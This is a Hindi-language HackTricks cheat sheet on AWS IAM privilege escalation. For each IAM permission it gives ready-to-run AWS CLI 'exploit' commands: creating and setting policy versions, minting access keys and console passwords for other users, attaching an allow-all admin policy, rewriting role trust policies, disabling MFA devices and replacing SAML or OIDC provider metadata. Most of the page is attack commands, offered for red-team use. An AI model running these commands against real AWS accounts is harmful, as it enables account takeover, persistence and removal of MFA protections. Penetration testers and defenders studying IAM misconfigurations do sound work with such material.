AWS - IAM Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

IAM

IAM के बारे में अधिक जानकारी के लिए देखें:

pageAWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

नए IAM नीति संस्करण बनाने की क्षमता प्रदान करता है, iam:SetDefaultPolicyVersion अनुमति की आवश्यकता को छोड़ते हुए --set-as-default ध्वज का उपयोग करके। इससे कस्टम अनुमतियों को परिभाषित करने की संभावना होती है।

शोषण कमांड:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

प्रभाव: किसी भी संसाधन पर किसी भी कार्रवाई की अनुमति देकर सीधे विशेषाधिकारों को बढ़ाता है।

iam:SetDefaultPolicyVersion

एक IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण पर बदलने की अनुमति देता है, संभावित रूप से विशेषाधिकारों को बढ़ाने के लिए अगर नया संस्करण अधिक अनुमतियों के साथ है।

बैश कमांड:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

प्रभाव: अधिक अनुमतियों को सक्षम करके अप्रत्यक्ष विशेषाधिकार उन्नति।

iam:CreateAccessKey

दूसरे उपयोगकर्ता के लिए पहुंच कुंजी आईडी और गुप्त पहुंच कुंजी बनाने की अनुमति देता है, जिससे संभावित विशेषाधिकार उन्नति हो सकती है।

शोषण:

aws iam create-access-key --user-name <target_user>

प्रभाव: एक अन्य उपयोगकर्ता की विस्तारित अनुमतियों का अनुमान लगाकर सीधे विशेषाधिकार बढ़ाना।

iam:CreateLoginProfile | iam:UpdateLoginProfile

लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS कंसोल लॉगिन के लिए पासवर्ड सेट करना शामिल है, जो सीधे विशेषाधिकार बढ़ाने का कारण बनता है।

नुकसान के लिए शोषण:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

अपडेट के लिए एक्सप्लॉइट:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

प्रभाव: "किसी भी" उपयोगकर्ता के रूप में लॉगिन करके सीधे विशेषाधिकार बढ़ाना।

iam:UpdateAccessKey

अक्षम किए गए एक्सेस की को सक्षम करने की अनुमति देता है, यदि हमलावर अक्षम कुंजी के स्वामित्व में है तो अनधिकृत पहुंच की ओर ले जा सकता है।

शोषण:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

प्रभाव: पहुंच कुंजी को पुनः सक्रिय करके सीधी विशेषाधिकार उन्नति।

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

निश्चित AWS सेवाओं (जैसे CodeCommit, Amazon Keyspaces) के लिए पहुंच कुंजी उत्पन्न या रीसेट करने की अनुमति देता है, जुड़े हुए उपयोगकर्ता की अनुमतियों को विरासत में लेता है।

निष्कर्षण के लिए शोषण:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

नुकसान के लिए शोध:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

प्रभाव: उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधी विशेषाधिकार वृद्धि।

iam:AttachUserPolicy || iam:AttachGroupPolicy

उपयोगकर्ताओं या समूहों को नीतियों को संलग्न करने की अनुमति देता है, सीधे विशेषाधिकारों को वृद्धि करके संलग्न नीति की अनुमतियों को अनुसरण करने।

उपयोगकर्ता के लिए शोषण:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

समूह के लिए शोषण:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

प्रभाव: नीति द्वारा दिया गया कोई भी अधिकार सीधे उन्हें उन्हें प्राप्त करने के लिए।

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

रोल, उपयोगकर्ता, या समूहों को नीतियों को जोड़ने या डालने की अनुमति देता है, जो अतिरिक्त अनुमतियों को प्रदान करके सीधे अधिकारों को बढ़ाने के द्वारा सीधे अधिकारों को बढ़ाने की अनुमति देता है।

रोल के लिए शोषण:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

इनलाइन नीतियों के लिए एक्सप्लॉइट:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

आप एक नीति का उपयोग कर सकते हैं:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

प्रभाव: नीतियों के माध्यम से अनुमतियों को जोड़कर सीधी विशेषाधिकार उन्नति।

iam:AddUserToGroup

एक IAM समूह में अपने आप को जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकारों को उन्नत करना।

शोषण:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

प्रभाव: समूह की अनुमतियों के स्तर तक सीधी विशेषाधिकार उन्नति।

iam:UpdateAssumeRolePolicy

एक भूमिका के assume role policy दस्तावेज को संशोधित करने की अनुमति देता है, जिससे भूमिका का अनुमान लगाया जा सकता है और उससे संबंधित अनुमतियाँ।

शोषण:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

जहाँ नीति निम्नलिखित दिखती है, जो उपयोगकर्ता को भूमिका अनुमानित करने की अनुमति देती है:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

प्रभाव: किसी भी भूमिका की अनुमतियों को मानते हुए सीधी विशेषाधिकार उन्नति।

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

कोडकमिट के लिए प्रमाणीकरण के लिए एक SSH सार्वजनिक कुंजी अपलोड करने की अनुमति देना और MFA उपकरणों को निष्क्रिय करना, संभावित अप्रत्यक्ष विशेषाधिकार उन्नति की ओर ले जाता है।

SSH कुंजी अपलोड के लिए शोषण:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

MFA निषेध के लिए उत्पीड़न:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

प्रभाव: कोडकमिट एक्सेस सक्षम करके या एमएफए सुरक्षा को अक्षम करके अप्रत्यक्ष विशेषाधिकार उन्नति।

iam:ResyncMFADevice

एमएफए उपकरण की पुनर्समक्रिया की अनुमति देता है, जिससे एमएफए सुरक्षा को मानिपुर्याजनक करके अप्रत्यक्ष विशेषाधिकार उन्नति हो सकती है।

बैश कमांड:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

प्रभाव: MFA उपकरण जोड़कर या परिवर्तन करके अप्रत्यक्ष विशेषाधिकार उन्नति।

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

इन अनुमतियों के साथ आप SAML कनेक्शन के XML मेटाडेटा को बदल सकते हैं। फिर, आप SAML संघ का दुरुपयोग करके किसी भी भूमिका के साथ लॉगिन कर सकते हैं जिसे यह विश्वसनीय मानता है।

ध्यान दें कि इसे करने पर वैध उपयोगकर्ताओं को लॉगिन नहीं करने दिया जाएगा। हालांकि, आप XML प्राप्त कर सकते हैं, ताकि आप अपना XML डाल सकें, लॉगिन कर सकें और पिछला कॉन्फ़िगर कर सकें।

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

कार्य: एक उपकरण जो SAML मेटाडेटा उत्पन्न करने और एक निर्दिष्ट भूमिका के साथ लॉगिन करने की क्षमता रखता है

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(इसके बारे में अनिश्चित) यदि किसी हमलावर के पास ये अनुमतियाँ हैं तो वह एक नए थंबप्रिंट जोड़ सकता है ताकि वह प्रदाता पर भरोसा करने वाली सभी भूमिकाओं में लॉगिन कर सके।

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated